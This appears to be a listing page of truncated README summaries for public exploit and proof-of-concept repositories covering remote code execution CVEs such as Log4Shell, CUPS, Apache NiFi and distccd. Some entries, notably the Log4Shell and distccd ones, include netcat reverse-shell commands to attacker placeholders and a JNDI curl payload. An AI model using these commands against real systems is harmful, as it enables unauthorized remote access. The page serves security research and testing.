CVE-2024-47176

CVE-2024-47176 CUPS Common UNIX Printing System is a printing system that primarily uses protocols such as IPP Internet Printing Protocol to manage print jobs and queues. On September 27, 2024, details of a remote code execution in Unix CUPS were disclosed on the internet, with the exploitation...

CVE-2018-14324-Exploit

Hacking Eclipse GlassFish - CVE-2018-14324 The description of CVE-2018-14324 does not fully explain the impact of this vulnerability. TLDR you have access to Java Management Extensions JMX via hardcoded admin:admin creds. While impact is listed as " potentially sensitive information, perform...

CVE-2023-34468

CVE-2023-34468 — Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC Short Python PoC for abusing an editable Apache NiFi ExecuteSQL processor with an H2 RUNSCRIPT payload to trigger remote command execution through a Bash reverse shell. For authorized testing and research only. Do not use against system...

CVE-2023-38408

OpenSSH Vulnerability - CVE-2023-38408 📚 Introduction A vulnerability was found in OpenSSH before 9.3p2 version. The PKCS11 feature in the ssh-agent in OpenSSH has an insufficiently trustworthy search path, leading to remote code execution if an agent is forwarded to an attacker-controlled system...

CVE-2023-50643

CVE-2023-50643 CVE-2023-50643 An issue in Evernote for MacOS v.10.68.2 allows a remote, attacker to execute arbitrary code via the RunAsNode and enableNodeClilnspectArguments components There is a tool designed to automate the process of searching for vulnerabilities in electron:...

CVE-2025-24016-Wazuh-Remote-Code-Execution-RCE-PoC

🚨 Wazuh Remote Code Execution RCE - PoC 📌 Vulnerability Summary A critical RCE vulnerability has been identified in the Wazuh server due to unsafe deserialization in the wazuh-manager package. This bug affects Wazuh versions ≥ 4.4.0 and has been patched in version 4.9.1. 🔍 Details The flaw lies i...

graylog-cve-2024-24824-exploit

Exploiting Arbitrary Class Loading on the JVM This repository contains the proof-of-concept exploit presented in my talk: Exploiting Arbitrary Class Loading on the JVM Watch it here if you're interested: Youtube The exploit targets CVE-2024-24824 minor typo in the slides, an arbitrary class loadi...

CVE-2020-9547

CVE-2020-9547：FasterXML/jackson-databind Remote Code Execution Vulnerability...

CVE-2025-69457

CVE-2025-69457 – Responsive Tourism Website 3.1 Remote Code Execution RCE Unauthenticated WriteUp CVE-2025-69457 – ExploitDB 50049...

RCE-QloApps-CVE-2024-40318

RCE-QloApps-CVE-2024-40318 A remote code execution RCE attack allow an attacker run code on a computer. The ability to execute code could lead to deploying additional malware or stealing sensitive data or even harm the server. The remote code execution was discover in Qloapps version 1.6.0.0 whil...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Convert into Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 Proof of concept Log4j Po...

distccd_rce_CVE-2004-2687

The goal of this script NOT to use Metasploit and to do it manually. Usage: nc -lvnp 4466 Running the exploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

CVE-2026-20841

CVE-2026-20841 - Windows Notepad Remote Code Execution RCE Security Research & Technical Analysis Repository ⚠️ This repository is intended for educational, defensive, and research purposes only. 📖 Overview CVE-2026-20841 is a critical Remote Code Execution RCE vulnerability affecting Microsoft...

CVE-2022-36804-ReverseShell

Original Project https://github.com/BenHays142/CVE-2022-36804-PoC-Exploit CVE-2022-36804-PoC-Exploit A somewhat reliable PoC exploit for CVE-2022-36804 BitBucket Critical Command Injection. This attack generally requires public repos to be enabled, however session cookies are also compatible with...

React2Shell-CVE-2025-55182-An-lise-T-cnica

React2Shell CVE-2025-55182 📖 Overview This repository documents the security concepts studied in the TryHackMe room regarding CVE-2025-55182 , a critical vulnerability affecting: React Server Components RSC Next.js and RSC-based frameworks Packages: react-server-dom-webpack react-server-dom-parce...

exploit-cve-2018-7448

exploit-cve-2018-7448 Purpose This is a python script to automate CMS Made Simple 2.1.6 - Remote Code Execution - CVE-2018-7448. It was created based on https://www.exploit-db.com/exploits/44192. Usage python3 exploit-CVE-2018-7448.py -t 127.0.0.1/cmsms -d cms -u root -p password Troubleshooting ...

WebLogic-Shiro-shell

Java Deserialization Technology Sharing This sharing covers the following points: 1. Java Serialization and Deserialization Basics 2. Why do vulnerabilities occur during deserialization? 3. Java Reflection 4. ysoserial CommonsCollections2, CommonsCollections5 5. Java ClassLoader: Several methods...

CVE-2025-55182-Next.js-RCE

🔍 Next.js Security Testing Tool Professional security assessment utility for Next.js applications ⚠️ Disclaimer This tool is intended for authorized security testing and research purposes only. ✅ Use only on systems you own or have explicit permission to test ✅ For bug bounty programs with proper...

CVE-2022-35914_poc

CVE-2022-35914poc Modified for GLPI Offsec Lab: calluserfunc, arraymap, passthru References Modified to work for Proving Grounds Practice Lab: GLPI https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr https://github.com/cosad3s/CVE-2022-35914-poc/blob/main/CVE-2022-35914.p...

CVE-2021-21972

CVE-2021-21972 VMware vSphere Client Unauthorized File Upload to Remote Code Execution RCE The vSphere Web Client HTML5 is essentially an administrative interface that enables management of a vSphere installation. The vSphere Client provides an administrator with access to the key functions of...